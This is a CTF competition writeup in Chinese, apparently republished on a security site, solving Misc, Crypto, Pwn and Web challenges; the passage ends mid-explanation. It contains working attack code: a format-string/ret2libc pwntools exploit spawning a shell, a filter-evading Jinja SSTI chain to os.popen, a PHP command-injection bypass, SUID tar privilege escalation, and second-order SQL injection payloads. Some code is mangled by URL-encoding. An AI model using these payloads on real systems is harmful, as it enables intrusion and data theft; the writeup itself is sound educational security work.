YunSee2025楚慧杯WP

admin 2026-03-13 00:26:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是YunSee团队发布的2025楚慧杯CTF比赛Writeup,详细记录了Misc和Crypto两个方向的解题过程。Misc部分涵盖RPGMakerVXAce游戏文件解析提取flag、SAM文件哈希破解结合多重隐写术、图像中值合成与零宽字符隐写、Word文档简繁体编码隐写等技术。Crypto部分针对ECDSA签名nonce字节约束漏洞,通过格攻击恢复私钥。文章提供了完整的Python解题脚本,技术细节详实,可操作性强。 综合评分: 88 文章分类: CTF,逆向分析,密码学,数据安全,安全工具


切出来的图是正常 JPEG,图上能看到:

5. OpenSSL 解密

把 AES256 单独落盘之后直接解:

openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd

解出来 aes.dec 头是:

1f 8b 08

也就是 gzip。

继续:

gunzip -c aes.dec > out.tar
tar -xf out.tar
cat flag.txt

最后拿到:

DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}

Time_and_chaos_1

把 1-8 png 做逐像素中值合成

from PIL import Image
import numpy as np, glob

files=sorted([f for f in glob.glob('[1-8].png')])
imgs=[np.array(Image.open(f),dtype=np.uint8) for f in files]

med=np.median(imgs,axis=0).astype(np.uint8)
Image.fromarray(med).save('median.png')

图片有一部分:

fig:

零宽

fig:

fig:

老妈的故事书

word:

fig:

pdf:

fig:

word%20的内容是简体繁体混合,会让人想到二进制

尝试写脚本

import%20io
import%20re
from%20pathlib%20import%20Path
from%20zipfile%20import%20ZipFile

import%20msoffcrypto
import%20zhconv
from%20xml.etree%20import%20ElementTree%20as%20ET

WORD_NS%20= "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
TEXT_TAG%20=%20f"{{{WORD_NS}}}t"

def%20unlock_office_file(target_file:%20str,%20secret:%20str)%20->%20bytes:
source_path%20=%20Path(target_file)
memory_file%20=%20io.BytesIO()

with%20source_path.open("rb")%20as%20handle:
encrypted_doc%20=%20msoffcrypto.OfficeFile(handle)
encrypted_doc.load_key(password=secret,%20verify_password=True)
encrypted_doc.decrypt(memory_file)

return memory_file.getvalue()

def%20collect_document_text(raw_docx:%20bytes)%20->%20str:
with%20ZipFile(io.BytesIO(raw_docx), "r")%20as%20archive:
xml_blob%20=%20archive.read("word/document.xml")

root%20=%20ET.fromstring(xml_blob)
segments%20=%20[]

for node in root.iter():
if node.tag%20==%20TEXT_TAG%20and%20node.text:
segments.append(node.text)

return"".join(segments)

def%20classify_script_form(symbol:%20str):
simplified_form%20=%20zhconv.convert(symbol, "zh-hans")
traditional_form%20=%20zhconv.convert(symbol, "zh-hant")

if len(simplified_form)%20!=%201%20or%20len(traditional_form)%20!=%201:
return None

if simplified_form%20==%20traditional_form:
return None

if symbol%20==%20simplified_form:
return 0

if symbol%20==%20traditional_form:
return 1

return None

def%20recover_hidden_payload(article:%20str)%20->%20bytes:
marker_stream%20=%20[]
for char in article:
flag%20=%20classify_script_form(char)
if flag%20is%20not%20None:
marker_stream.append(flag)

chunk_values%20=%20[]
zeros_seen%20=%200

for bit in marker_stream:
if bit%20==%200:
zeros_seen%20+=%201
continue

chunk_values.append(zeros_seen)
zeros_seen%20=%200

four_bit_units%20=%20[]
for number in chunk_values:
four_bit_units.append(format(number, "04b"))

merged_binary%20= "".join(four_bit_units)
usable_length%20=%20len(merged_binary)%20//%208%20*%208

output%20=%20bytearray()
for offset in range(0,%20usable_length,%208):
output.append(int(merged_binary[offset:offset%20+%208],%202))

return bytes(output)

def%20locate_flag(content:%20bytes)%20->%20str:
hit%20=%20re.search(rb"DASCTF{[0-9a-f-]+}",%20content)
if not%20hit:
raise%20ValueError("flag%20pattern%20not%20found")
return hit.group(0).decode("utf-8")

def%20main():
document_password%20= "love"
encrypted_name%20= "flag.docx"

unlocked%20=%20unlock_office_file(encrypted_name,%20document_password)
body_text%20=%20collect_document_text(unlocked)
extracted%20=%20recover_hidden_payload(body_text)
answer%20=%20locate_flag(extracted)

print(answer)

if __name__%20== "__main__":
main()

输出:

DASCTF{024bb015-5578-4181-9d28-e2f7d10bac4a}

Crypto Flip

源码里签名关系是%20s%20=%20k^{-1}(i%20+%20r*d)%20mod%20p%20,而且%20flip(256)%20会把%20nonce%20的每个字节都生成为%2010101xyz,也就是每个字节都能写成%200xa8%20+%20x_t,其中%20x_t%20∈%20[0,7]。同时,真正的%20flag%20内容是去掉%20DASCTF{}%20后再补随机字节到%2032%20字节。

128b2c65-ad4a-43a3-a80b-ef9f593…

题目还给了同一私钥下的%205%20组%20(r,s)%20和素数%20p。

bd14ad0a-2ba7-46a3-b4eb-09d7e8e…

核心做法是把两组签名联立,消掉%20d:

再把

ki=K+∑b=031xi,b28b,xi,b∈[0,7]k_i%20=%20K%20+%20sum_{b=0}^{31}%20x_{i,b}%202^{8b},quad%20x_{i,b}in[0,7]ki=K+b=0∑31xi,b28b,xi,b∈[0,7]

代进去。这样就得到一个 64%20个小变量的模线性方程。这是典型的%20EHNP%20/%20bounded%20modular%20equation,可以直接上格:

  • 变量:两组%20nonce%20的%2064%20个字节增量%20x_{i,b}
  • 范围:每个都在%20[0,7]
  • 方程:最后一维固定为右端常数
  • 方法:LLL%20+%20BKZ%20+%20Babai%20nearest%20plane

第%200、1%20组签名恢复出了:

  • k[0]%20=%200xada9abacaaa8aaafa8aba9aeafacaca8a9a9aea9aeaea9a9ababadacacaeabad
  • k[1]%20=%200xadafa8a9a8aaadabafaeafa8ada8aba9afaaaaacaaaea9aeaaacadaca8a9ada9

随后算得

d%20mod%20p=33678668739971188788372746271080037908238910891972216073014011690840772615888d%20bmod%20p%20=%2033678668739971188788372746271080037908238910891972216073014011690840772615888dmodp=33678668739971188788372746271080037908238910891972216073014011690840772615888

把它转成%2032%20字节后得到:

b'Just_f3w_Bit5_fl1pp1ngxa6x0cxa1O2{x16xx9exd0'

因为源码明确说明后半段是随机%20padding,所以可读前缀就是%20flag%20内层内容,最终得到:

Just_f3w_Bit5_fl1pp1ng

脚本依赖%20fpylll%20和%20cysignals:

from%20fractions%20import%20Fraction
from%20fpylll%20import%20IntegerMatrix,%20LLL,%20BKZ
from%20fpylll.algorithms.bkz%20import%20BKZReduction

p%20=%2071100374110712069688668891376502810245640088780564855438789152163485489371751
sigs%20=%20[
(28285613871231310640779639473901158789539111552315215487796222768188014946190,%2026227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173,%2014620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255,%2017138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207,%207241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689,%2011042506367122208018546854524444698969622593890076172637272391555458027253012),
]

K%20=%20sum(0xA8%20<<%20(8%20*%20b)&nbsp;for&nbsp;b&nbsp;in&nbsp;range(32))

def%20center(x:%20int,%20mod:%20int)%20->%20int:
x%20%=%20mod
return&nbsp;x%20-%20mod&nbsp;if&nbsp;x%20>%20mod%20//%202&nbsp;else&nbsp;x

def%20byte_pattern_ok(k:%20int)%20->%20bool:
bs%20=%20k.to_bytes(32,&nbsp;"big")
return&nbsp;all((b%20&%200xF8)%20==%200xA8&nbsp;for&nbsp;b&nbsp;in&nbsp;bs)

def%20babai_closest_vector(basis_rows:%20list[list[int]],%20target:%20list[int])%20->%20list[int]:
dim%20=%20len(basis_rows)
rows%20=%20[[Fraction(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;row]&nbsp;for&nbsp;row&nbsp;in&nbsp;basis_rows]

bstar:%20list[list[Fraction]]%20=%20[]
for&nbsp;i&nbsp;in&nbsp;range(dim):
cur%20=%20rows[i][:]
for&nbsp;j&nbsp;in&nbsp;range(i):
dot%20=%20sum(rows[i][k]%20*%20bstar[j][k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(dim))
norm%20=%20sum(bstar[j][k]%20*%20bstar[j][k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(dim))
mu%20=%20dot%20/%20norm
for&nbsp;k&nbsp;in&nbsp;range(dim):
cur[k]%20-=%20mu%20*%20bstar[j][k]
bstar.append(cur)

t%20=%20[Fraction(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;target]
coeff%20=%20[0]%20*%20dim
for&nbsp;i&nbsp;in&nbsp;reversed(range(dim)):
dot%20=%20sum(t[k]%20*%20bstar[i][k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(dim))
norm%20=%20sum(bstar[i][k]%20*%20bstar[i][k]&nbsp;for&nbsp;k&nbsp;in&nbsp;range(dim))
c%20=%20round(dot%20/%20norm)
coeff[i]%20=%20c
for&nbsp;k&nbsp;in&nbsp;range(dim):
t[k]%20-=%20c%20*%20rows[i][k]

out%20=%20[0]%20*%20dim
for&nbsp;i&nbsp;in&nbsp;range(dim):
for&nbsp;k&nbsp;in&nbsp;range(dim):
out[k]%20+=%20coeff[i]%20*%20int(rows[i][k])
return&nbsp;out

def%20recover_from_pair(i:%20int,%20j:%20int,%20weight:%20int)%20->%20tuple[int,%20int,%20int]%20|%20None:
r1,%20s1%20=%20sigs[i]
r2,%20s2%20=%20sigs[j]

#%20r_j*s_i*k_i%20-%20r_i*s_j*k_j%20=%20i*r_j%20-%20j*r_i%20(mod%20p)
coeffs%20=%20[center(r2%20*%20s1%20*%20(1%20<<%20(8%20*%20b)),%20p)&nbsp;for&nbsp;b&nbsp;in&nbsp;range(32)]
coeffs%20+=%20[center(-r1%20*%20s2%20*%20(1%20<<%20(8%20*%20b)),%20p)&nbsp;for&nbsp;b&nbsp;in&nbsp;range(32)]
rhs%20=%20center(i%20*%20r2%20-%20j%20*%20r1%20-%20K%20*%20(r2%20*%20s1%20-%20r1%20*%20s2),%20p)

n%20=%20len(coeffs)
mat%20=%20[[0]%20*%20(n%20+%201)&nbsp;for&nbsp;_&nbsp;in&nbsp;range(n%20+%201)]
for&nbsp;t&nbsp;in&nbsp;range(n):
mat[t][t]%20=%201
mat[t][n]%20=%20coeffs[t]
mat[n][n]%20=%20p

lower%20=%20[0]%20*%20n%20+%20[rhs]
upper%20=%20[7]%20*%20n%20+%20[rhs]
width%20=%20max(u%20-%20l&nbsp;for&nbsp;l,%20u&nbsp;in&nbsp;zip(lower,%20upper))

scales%20=%20[]
scaled%20=%20[row[:]&nbsp;for&nbsp;row&nbsp;in&nbsp;mat]
scaled_lower%20=%20lower[:]
scaled_upper%20=%20upper[:]
for&nbsp;col&nbsp;in&nbsp;range(n%20+%201):
scale%20=%20weight&nbsp;if&nbsp;lower[col]%20==%20upper[col]&nbsp;else&nbsp;max(1,%20width%20//%20(upper[col]%20-%20lower[col]))
scales.append(scale)
for&nbsp;row&nbsp;in&nbsp;range(n%20+%201):
scaled[row][col]%20*=%20scale
scaled_lower[col]%20*=%20scale
scaled_upper[col]%20*=%20scale

A%20=%20IntegerMatrix.from_matrix(scaled)
LLL.reduction(A)
BKZReduction(A)(BKZ.Param(block_size=20,%20max_loops=4))

reduced%20=%20[[A[r,%20c]&nbsp;for&nbsp;c&nbsp;in&nbsp;range(n%20+%201)]&nbsp;for&nbsp;r&nbsp;in&nbsp;range(n%20+%201)]
target%20=%20[(l%20+%20u)%20//%202&nbsp;for&nbsp;l,%20u&nbsp;in&nbsp;zip(scaled_lower,%20scaled_upper)]
closest%20=%20babai_closest_vector(reduced,%20target)

coords%20=%20[closest[t]%20//%20scales[t]&nbsp;for&nbsp;t&nbsp;in&nbsp;range(n)]
if&nbsp;not%20all(0%20<=%20x%20<=%207&nbsp;for&nbsp;x&nbsp;in&nbsp;coords):
return&nbsp;None

k1%20=%20K%20+%20sum(coords[b]%20<<%20(8%20*%20b)&nbsp;for&nbsp;b&nbsp;in&nbsp;range(32))
k2%20=%20K%20+%20sum(coords[32%20+%20b]%20<<%20(8%20*%20b)&nbsp;for&nbsp;b&nbsp;in&nbsp;range(32))
if&nbsp;pow(2,%20k1,%20p)%20!=%20r1%20or%20pow(2,%20k2,%20p)%20!=%20r2:
return&nbsp;None

d%20=%20((s1%20*%20k1%20-%20i)%20*%20pow(r1,%20-1,%20p))%20%%20p
d2%20=%20((s2%20*%20k2%20-%20j)%20*%20pow(r2,%20-1,%20p))%20%%20p
if&nbsp;d%20!=%20d2:
return&nbsp;None
return&nbsp;k1,%20k2,%20d

def%20recover()%20->%20tuple[int,%20list[int]]:
for&nbsp;i&nbsp;in&nbsp;range(len(sigs)):
for&nbsp;j&nbsp;in&nbsp;range(i%20+%201,%20len(sigs)):
for&nbsp;weight&nbsp;in&nbsp;(8,%2016,%2032,%2064,%20128,%20256):
out%20=%20recover_from_pair(i,%20j,%20weight)
if&nbsp;out%20is%20None:
continue
_,%20_,%20d%20=%20out
nonces%20=%20[]
for&nbsp;msg,%20(r,%20s)&nbsp;in&nbsp;enumerate(sigs):
k_mod%20=%20(msg%20+%20r%20*%20d)%20*%20pow(s,%20-1,%20p)%20%%20p
cand%20=%20[k_mod,%20k_mod%20+%20p]
good%20=%20[x&nbsp;for&nbsp;x&nbsp;in&nbsp;cand&nbsp;if&nbsp;x%20<%20(1%20<<%20256)%20and%20byte_pattern_ok(x)]
if&nbsp;len(good)%20!=%201:
break
nonces.append(good[0])
else:
return&nbsp;d,%20nonces
raise%20RuntimeError("recovery%20failed")

def%20main()%20->%20None:
d,%20nonces%20=%20recover()
print(f"d%20mod%20p%20=%20{d}")
for&nbsp;idx,%20k&nbsp;in&nbsp;enumerate(nonces):
print(f"k[{idx}]%20=%20{hex(k)}")

block%20=%20d.to_bytes(32,&nbsp;"big")
print(f"padded%20bytes%20=%20{block!r}")

inner%20=%20[]
for&nbsp;b&nbsp;in&nbsp;block:
if&nbsp;32%20<=%20b%20<%20127:
inner.append(chr(b))
else:
break
print("flag%20=%20DASCTF{"&nbsp;+&nbsp;"".join(inner)%20+&nbsp;"}")

if&nbsp;__name__%20==&nbsp;"__main__":
main()
GCD,杠上了

设:

其中:

  • p%20是所有样本共享的未知大因子
  • q_i%20是不同的大整数
  • e_i%20是较小误差,位数约为%20rho%20=%20256

这就是%20AGCD%20问题。

对于这种参数规模,可以直接套用 Howgrave-Graham%20/%20DGHV%20类型的格攻击思路。 构造格基:

然后对矩阵做 LLL%20reduction。 约化后最短向量通常会给出一个形如:

因此可以从第一列恢复出%20q0:

得到%20q0%20后,再由:

进一步恢复:

最后按题目要求计算:

"DASCTF{"+sha256(hex(p).encode()).hexdigest()[:32]+"}"
恢复结果

通过格攻击恢复得到:

p%20=%20814717455548517808986181410586394354109647699929322981368461837445925965322205350796397641559934522652724773905724982591757228274565439544175507827688617021282332056672069056063857212371078735053697735921587690134019252689216497709

代入题目给定公式,得到:

FLAG%20=%20DASCTF{eead8ea2b3519a2273a5292375e31009}
用到的工具

这题工具很少,主要就是下面两个:

1.%20Python

用来读入题目给出的%20xs、恢复%20p、计算%20flag。

2.%20fpylll
  • SageMath%20自带的%20Matrix(…).LLL()
  • 或者其他支持%20LLL%20的数学库
3.%20hashlib

Python%20内置库,用来按题目要求计算%20sha256(hex(p).encode())。

复现脚本
from%20fpylll%20import%20IntegerMatrix,%20LLL
from%20hashlib%20import%20sha256

xs%20=%20[
5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]

rho%20=%20256
A%20=%202%20**%20(rho%20+%201)
n%20=%20len(xs)

M%20=%20IntegerMatrix(n,%20n)
M[0,%200]%20=%20A
for&nbsp;j&nbsp;in&nbsp;range(1,%20n):
M[0,%20j]%20=%20xs[j]
for&nbsp;i&nbsp;in&nbsp;range(1,%20n):
M[i,%20i]%20=%20-xs[0]

L%20=%20LLL.reduction(M)

row%20=%20[int(L[0,%20j])&nbsp;for&nbsp;j&nbsp;in&nbsp;range(n)]
q0%20=%20abs(row[0])%20//%20A

e0%20=%20xs[0]%20%%20q0
if&nbsp;e0%20>%20q0%20//%202:
e0%20-=%20q0

p%20=%20(xs[0]%20-%20e0)%20//%20q0
flag%20=&nbsp;"DASCTF{"&nbsp;+%20sha256(hex(p).encode()).hexdigest()[:32]%20+&nbsp;"}"

print("p%20=",%20p)
print("FLAG%20=",%20flag)

#%20PWN

##%20house_1

存在格式化字符串漏洞,先泄露libc,canary和pie,然后格式化字符串修改nbytes使case3能够溢出,ret2libc即可

![fig:](https://files.mdnice.com/user/107788/4a01d0ac-1c2c-4975-8a4b-a1e77ec92f19.png)

![fig:](https://files.mdnice.com/user/107788/44ea9153-71d2-41c2-adf6-f4ccb1475212.png)

![fig:](https://files.mdnice.com/user/107788/c97566b9-64b6-4bba-9adb-6eb939b0b0dd.png)

from pwn import *

context.terminal = ['tmux',&nbsp;'splitw',&nbsp;'-h']
context.log_level =&nbsp;'debug'
context.binary = elf = ELF('./pwn')
libc = elf.libc

addr =&nbsp;'45.40.247.139:24716'.split(':')
io = remote(addr[0], int(addr[1]))

# io = process(elf.path)
def dbg(sc):
gdb.attach(io, gdbscript=sc)

def cmd(c: int):
io.recvuntil(b'>> ')
io.sendline(str(c).encode())

cmd(2)
io.recvuntil(b'Please write your name:')

# dbg('brva 0x13B3nbrva 0x131F')

io.sendline(b'<_%p_%13$p_%10$p_>')

io.recvuntil(b'<_')
leak = int(io.recvuntil(b'_', drop=True), 16)
libc.address = leak - 0x1ed723
success(f'libc: {hex(libc.address)}')

rdi = 0x23b6a + libc.address
binsh = next(libc.search(b'/bin/shx00'))
system = libc.sym['system']
canary = int(io.recvuntil(b'_', drop=True), 16)

success(f'rdi: {hex(rdi)}')
success(f'binsh: {hex(binsh)}')
success(f'system: {hex(system)}')
success(f'canary: {hex(canary)}')

pie = int(io.recvuntil(b'_>', drop=True), 16) - 0x1140
success(f'pie: {hex(pie)}')

cmd(2)
io.recvuntil(b'Please write your name:')
payload = b'%256c%8$n'
payload = payload.ljust(0x10, b'\x00')
payload += p64(pie + 0x4010)
io.sendline(payload)

cmd(3)
io.recvuntil(b'Please write your content')
payload = b'a'*0x48 + p64(canary) + b'a'*8 + p64(rdi) + p64(binsh) + p64(rdi+1) + p64(system)
io.sendline(payload)

io.interactive()

Web

拯救芙莉莲

扫后台,有 robots.txt

User-agent: *
Disallow: /<(´⌯ ̫⌯`)>.php

根据页面回显,应该是文件包含,那么扫参数

fig:

有个 file,那就尝试直接读源码

?file=php://filter/convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php
<?php
if&nbsp;(isset($_GET['spell'])) {
echo'<div class="error-box">';
echo'<h2>🔮 解开宝箱怪的封印</h2>';
echo'<pre>';
echo"芙芙: "这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开..."n";
echo"芙芙: "我记得封印的关键在根目录的某个文件里..."n";
echo"芙芙: "但是宝箱怪的魔法屏障会拒绝某些危险的咒语!"n";
echo"芙芙: "也许你可以用 Linux 命令来读取那个文件?"n";

$spell&nbsp;=&nbsp;$_GET['spell'];
echo"你的咒语: "&nbsp;. htmlspecialchars($spell) .&nbsp;"\n";

$forbidden&nbsp;= array('system',&nbsp;'exec',&nbsp;'passthru',&nbsp;'shell_exec',&nbsp;'popen',&nbsp;'proc_open');
foreach ($forbidden&nbsp;as&nbsp;$bad) {
if&nbsp;(stripos($spell,&nbsp;$bad) !==&nbsp;false) {
die("⚠️ 检测到禁忌的黑魔法!n芙芙: "宝箱怪拒绝了这个咒语..."n</pre></div></body></html>");
}
}

if&nbsp;(stripos($spell,&nbsp;'flag') !==&nbsp;false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
}

$blocked_commands&nbsp;= array('cat',&nbsp;'tac',&nbsp;'nl',&nbsp;'more',&nbsp;'less',&nbsp;'head',&nbsp;'tail',&nbsp;'sort',&nbsp;'uniq',&nbsp;'strings',&nbsp;'od',&nbsp;'xxd',&nbsp;'hexdump',&nbsp;'grep',&nbsp;'awk',&nbsp;'sed',&nbsp;'cut',&nbsp;'rev',&nbsp;'base64',&nbsp;'env');
foreach ($blocked_commands&nbsp;as&nbsp;$cmd) {
if&nbsp;(stripos($spell,&nbsp;$cmd) !==&nbsp;false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
}
}

echo"施法中...\n";
echo"━━━━━━━━━━━━━━━━━━━━\n";

$result&nbsp;= shell_exec($spell);

if&nbsp;($result) {
echo"✨ 封印解除了!宝箱怪消失了!nn";
echo"【施法结果】:n";
echo$result;
echo"\n━━━━━━━━━━━━━━━━━━━━\n";
echo"芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
}&nbsp;else&nbsp;{
echo"❌ 咒语似乎没有效果...\n";
echo"芙芙: \"也许需要调整一下咒语的内容?\"\n";
}

echo'</pre>';
echo'</div>';
}
?>

有 spell 参数可以命令执行

直接尝试:pr -T /f*

fig:

‍cybers

主页是个 CyberMarket,接口全在前端 JS 里:

  • /initialize
  • /hack
  • /loot
  • /market
  • /list
  • /read
  • /relay

先试了一圈以后发现:

  • /list 能列当前工作目录
  • /read 能直接读文件
  • /relay 能往 127.0.0.1 任意端口发原始 TCP 数据

先把前端和后端源码读出来

/read?file=./app.py 读出来的是 8080 上跑的代理服务,关键逻辑是:

@app.route('/relay', methods=["POST"])
def relay():
target_port = int(request.form['port'])
payload = request.form['data']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', target_port))
sock.send(payload.encode())

直接打内网 127.0.0.1。

再列目录:

./
templates
backend
app.py

继续读 ./backend/app.py,这才是关键。后端的 /market 是:

@app.route('/market', methods=["POST"])
def trade_fragment():
fragment_id = request.form.get("fragment")
...
credits = np.array(credits)
transaction_cost = calculate_risk_factor() * 3500
credits -= transaction_cost

try:
if&nbsp;credits < 0:
result =&nbsp;"Insufficient credits for this transaction."
else:
session['credits'] = 0
fragment_id = security_filter(fragment_id)
result =&nbsp;"Transaction blocked by security protocol."

if&nbsp;fragment_id not&nbsp;in&nbsp;data_fragments:
result = f"Fragment '{fragment_id}' not found in market database."
else:
result = f"Transaction complete! Acquired data fragment: {fragment_id}"
except Exception as e:
result = str(e)

return&nbsp;render_template_string(f"<h3>{result}</h3>")

关注 render_template_string

附件那份源码是干扰,主要看环境的backend

genshop 附件里的 app.py 和远端 ./backend/app.py 不是同一份。

先解决 backend 余额不够的问题

直接打 backend 的 /market 需要很多 credits,但后端有两个点可以一起用:

  1. /hack?amount=99 一次最多加 99
  2. /initialize 会 limiter.reset()

更关键的是 session 放在 cookie 里,所以可以这么叠:

  1. 用 backend cookie c1 打 /hack?amount=99
  2. 服务端回一个新 cookie c2,里面 credits 增加
  3. 用 c2 打 /initialize,只为了重置限频
  4. 继续回放 c2 去打 /hack

这样可以一直叠到很高的余额。

我最后做了一张高余额 cookie:

credits = 19998

后面所有 backend /market 探测都直接回放这张旧 cookie,不用每成功一次就重攒。

backend /market 真的是 SSTI

拿高余额 cookie 去打 backend /market,先用简单 payload 试了一下:

{%if&nbsp;1%}X{%endif%}

返回:

<h3>Fragment&nbsp;'X'&nbsp;not found&nbsp;in&nbsp;market database.</h3>

说明 Jinja 语法确实执行了,而且可以把结果塞进响应里。

后面又打了几个探针:

{%print(cycler)%}
{%print(joiner)%}
{%print(namespace)%}
{%print(lipsum)%}

确认这些 Jinja 全局对象都能拿到。

过滤器表面很凶,实际可以绕

security_filter 会拦这些:

  • {{ }}
  • __
  • . [ ]
  • 引号
  • import os request system 等等

但它没拦:

  • {% … %} 语句块
  • |attr
  • |string
  • |batch
  • |first
  • |last
  • ~ 拼接

所以办法就是:

  1. 先打印几个对象的 repr
  2. 从 repr 里一位一位抠字符
  3. 拼出 __globals__、get、os、popen、read
  4. 最后变成一条命令执行链

核心链子是:

lipsum|attr(__globals__)|attr(get)(os)|attr(popen)(cmd)|attr(read)()

只是这些属性名不能直接写,要靠字符拼接出来。

先拿命令执行

我先用最短的 id 验证:

uid=999(app) gid=999(app) groups=999(app)

说明 backend 里已经是稳的命令执行了。

再找 flag 和提权点

直接:

find / -name flag

拿到了:

/flag

但直接 cat /flag 没内容。

再看权限:

ls -l /flag

输出:

-rw------- 1 root root 41 Mar 10 01:50 /flag

当前用户是 app,读不了。

继续扫 SUID:

find / -perm -4000

里面有个很关键的:

/usr/bin/tar

用 SUID tar 绕过 /flag 权限

思路没走 root shell,直接让 tar 代 root 读文件:

  1. tar -cf d /flag 把 /flag 打成当前目录下的归档 d
  2. tar -tf d 确认成员名就是 flag
  3. tar -xf d flag –to-stdout 把归档里的 flag 直接吐到 stdout

因为 d 是当前目录下新建的普通文件,后续普通用户也能读这个归档。

最后成功回显 flag。

最终执行 /flag 的核心 payload 是这一条:

{%set&nbsp;q=lipsum|string|batch(19)|first|last%}
{%set&nbsp;u=lipsum|string|batch(3)|first|last%}
{%set&nbsp;f=lipsum|string|batch(2)|first|last%}
{%set&nbsp;g=lipsum|string|batch(11)|first|last%}
{%set&nbsp;l=lipsum|string|batch(20)|first|last%}
{%set&nbsp;o=lipsum|string|batch(21)|first|last%}
{%set&nbsp;a=lipsum|string|batch(16)|first|last%}
{%set&nbsp;s=lipsum|string|batch(28)|first|last%}
{%set&nbsp;e=lipsum|string|batch(12)|first|last%}
{%set&nbsp;t=lipsum|string|batch(17)|first|last%}
{%set&nbsp;p=lipsum|string|batch(27)|first|last%}
{%set&nbsp;n=lipsum|string|batch(13)|first|last%}
{%set&nbsp;r=lipsum|string|batch(15)|first|last%}
{%set&nbsp;d=dict|string|batch(9)|first|last%}
{%set&nbsp;i=lipsum|string|batch(7)|first|last%}
{%set&nbsp;b=cycler(1)|string|batch(23)|first|last%}
{%set&nbsp;c=dict|string|batch(11)|first|last%}
{%set&nbsp;x=cycler(1)|string|batch(33)|first|last%}
{%set&nbsp;sp=cycler(1)|string|batch(21)|first|last%}
{%set&nbsp;G=q~q~g~l~o~b~a~l~s~q~q%}
{%set&nbsp;T=g~e~t%}
{%set&nbsp;P=p~o~p~e~n%}
{%set&nbsp;R=r~e~a~d%}
{%set&nbsp;O=o~s%}
{%set&nbsp;Q=f~i~n~d~sp~q~q%}
{%set&nbsp;Y=((lipsum|attr(G)|attr(T)(O))|attr(P)(Q)|attr(R)())%}
{%set&nbsp;sl=Y|batch(6)|first|last%}
{%set&nbsp;C=t~a~r~sp~h~x~f~sp~d~sp~f~l~a~g~sp~h~h~t~o~h~s~t~d~o~u~t%}
{%print((lipsum|attr(G)|attr(T)(O))|attr(P)(C)|attr(R)())%}

对应执行的真实命令就是:

tar -xf d flag --to-stdout
DASCTF{64694086951161204679100441649958}

Fisafopil

审计代码,发现有 sql 注入

存在 sql 注入

cursor.execute(f"SELECT password FROM users WHERE username = '{username}'")

注册逻辑

username = binascii.a2b_hex(data.get("username")).decode("utf-8")
cursor.execute("SELECT * FROM users WHERE username=?", (username,))

管理员校验逻辑

if&nbsp;username !=&nbsp;"admin":
raise HTTPException(status_code=403, detail="Not authorized")

edit-profile 逻辑

cursor.executescript(
f"""
...
WHERE username = '{username}'
"""
)

可以注册一个恶意用户名

登录后访问 edit-profile,就能触发二次 SQL 注入

注册(密码 pass123 ):

user'; ATTACH DATABASE './databases/customers.sqlite' AS c;
INSERT INTO c.customers(company_name, satisfaction_rating)
VALUES('ZZZFLAGMARK2', 9);
--

回显:

register 200 {"message":"注册成功"}
edit 422 {"detail":[{"type":"missing","loc":["query","employee_number"], ...}]}

说明 edit-profile 的参数不是从 POST body 取,而是从 query 取

更新资料:

POST /edit-profile?employee_number=1&[email protected]&phone_number=1&first_name=a&last_name=b&date_of_birth=2000-01-01&address=x

回显:

register 200 {"message":"注册成功"}
edit 200 {"message":"个人信息更新成功"}
customers 200 [..., [21,&nbsp;'ZZZFLAGMARK2', 9]]

源码中 admin 和普通用户密码都按这个方式存储:enc_password = DataEncrypt().encrypt(SALT.encode() + password)

经过对比可确认 DataEncrypt 实际就是标准 MD5

SALT 长度源码里固定为:SALT = “”.join(random.choices(string.ascii_letters + string.digits, k=16))

SALT 长度已知为 16,满足 MD5 长度扩展条件。只要能泄露一个“自己已知明文密码对应的哈希”,就能构造新的有效密码字节串和新哈希

泄露个人哈希:

ATTACH DATABASE&nbsp;'./databases/customers.sqlite'&nbsp;AS c;
INSERT INTO c.customers(company_name, satisfaction_rating)
SELECT password, 6 FROM users WHERE id = (SELECT max(id) FROM users);

回显:

register 200 {"message":"注册成功"}
leak_hash 200 {"message":"个人信息更新成功"}
hash_row [24,&nbsp;'3af2644aea46b2721f8ddc3d1969e614', 6]

构造新 admin 密码哈希,加后缀 ::admin::

长度拓展后:

